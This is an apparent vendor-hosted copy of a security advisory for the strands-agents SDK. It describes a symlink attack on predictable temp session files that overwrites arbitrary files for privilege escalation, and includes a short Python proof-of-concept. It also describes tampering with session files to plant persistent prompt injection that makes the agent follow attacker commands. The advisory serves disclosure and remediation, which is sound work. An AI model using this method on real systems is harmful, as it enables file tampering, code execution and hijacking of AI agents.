GHSA-3W55-933P-8PV5

GHSA-3W55-933P-8PV5 is a high-severity security vulnerability in strands-agents (pip), affecting versions < 1.48.0. It is fixed in 1.48.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Strands Agents: Local Privilege Escalation via Symlink Attack in Default Session File Storage

The FileSessionManager defaults to storing session data in /tmp/strands/sessions/ (a world-writable directory) using predictable file paths and a write pattern (open(path + ".tmp", "w") → os.replace()) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.

Vulnerability Details

Component: strands-py/src/strands/session/file_session_manager.py

Root Cause:

  1. Default storage directory is tempfile.gettempdir() + "/strands/sessions/" (line 58), resolves to /tmp/strands/sessions/ on Linux/macOS
  2. The _write_file() method (lines 116-123) writes to a predictable .tmp path without symlink protection:
    tmp = f"{path}.tmp"
    with open(tmp, "w", encoding="utf-8", newline="\n") as f:
        json.dump(data, f, indent=2, ensure_ascii=False)
    os.replace(tmp, path)
    
  3. open() follows symlinks, a pre-placed symlink at the .tmp path causes writes to an arbitrary target file
  4. No integrity verification (HMAC/signature) on session files, tampered data is loaded as-is

Attack Vectors

1. Arbitrary File Overwrite (Local Privilege Escalation)

  1. Attacker pre-creates /tmp/strands/sessions/session_<id>/ (or monitors for new directories via inotify)
  2. Attacker creates a symlink: session.json.tmp → /home/victim/.bashrc (or any writable file)
  3. Victim application writes session data → follows symlink → overwrites target file with JSON content
  4. Attacker achieves code execution on next shell login (or targets .ssh/authorized_keys, cron files, etc.)

2. Persistent Prompt Injection via Session Tampering

  1. Attacker writes crafted message files into the session directory
  2. Victim application restores the session → loads attacker-controlled conversation history
  3. Injected messages instruct the agent to execute attacker commands on every future interaction
  4. No integrity check prevents this, the SDK trusts all session files at face value

Reproduction

import os, json, tempfile, shutil

# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)

# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
    f.write("ORIGINAL - should not be overwritten\n")

symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
    os.unlink(symlink_path)
os.symlink(target_file, symlink_path)

# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
    json.dump({"session_id": "test", "injected": True}, f, indent=2)

# Verify: target file overwritten
with open(target_file) as f:
    print(f"Target file content: {f.read()}")
    # Output: {"session_id": "test", "injected": true}

# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)

Impact

  • Arbitrary file overwrite, local attacker can write attacker-controlled content to any file writable by the victim process
  • Local privilege escalation, via overwriting shell configs, SSH keys, cron jobs, or systemd user services
  • Persistent agent compromise, via session data injection, the agent follows attacker instructions indefinitely

GHSA-3W55-933P-8PV5 has a CVSS score of 7.1 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.48.0); upgrading removes the vulnerable code path.

Affected versions

strands-agents (< 1.48.0)

Security releases

strands-agents → 1.48.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  1. Use a user-private default directory, ~/.strands/sessions/ or $XDG_DATA_HOME/strands/sessions/ instead of /tmp/
  2. Use os.open() with O_NOFOLLOW | O_CREAT | O_WRONLY, refuses to follow symlinks
  3. Use tempfile.mkstemp() for atomic writes instead of predictable .tmp suffix
  4. Verify directory ownership matches the current user before writing
  5. Add optional integrity verification (HMAC) on session files to detect tampering

Frequently Asked Questions

  1. What is GHSA-3W55-933P-8PV5? GHSA-3W55-933P-8PV5 is a high-severity security vulnerability in strands-agents (pip), affecting versions < 1.48.0. It is fixed in 1.48.0.
  2. How severe is GHSA-3W55-933P-8PV5? GHSA-3W55-933P-8PV5 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of strands-agents are affected by GHSA-3W55-933P-8PV5? strands-agents (pip) versions < 1.48.0 is affected.
  4. Is there a fix for GHSA-3W55-933P-8PV5? Yes. GHSA-3W55-933P-8PV5 is fixed in 1.48.0. Upgrade to this version or later.
  5. Is GHSA-3W55-933P-8PV5 exploitable, and should I be worried? Whether GHSA-3W55-933P-8PV5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-3W55-933P-8PV5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-3W55-933P-8PV5? Upgrade strands-agents to 1.48.0 or later.

Other vulnerabilities in strands-agents

Stop the waste.
Protect your environment with Kodem.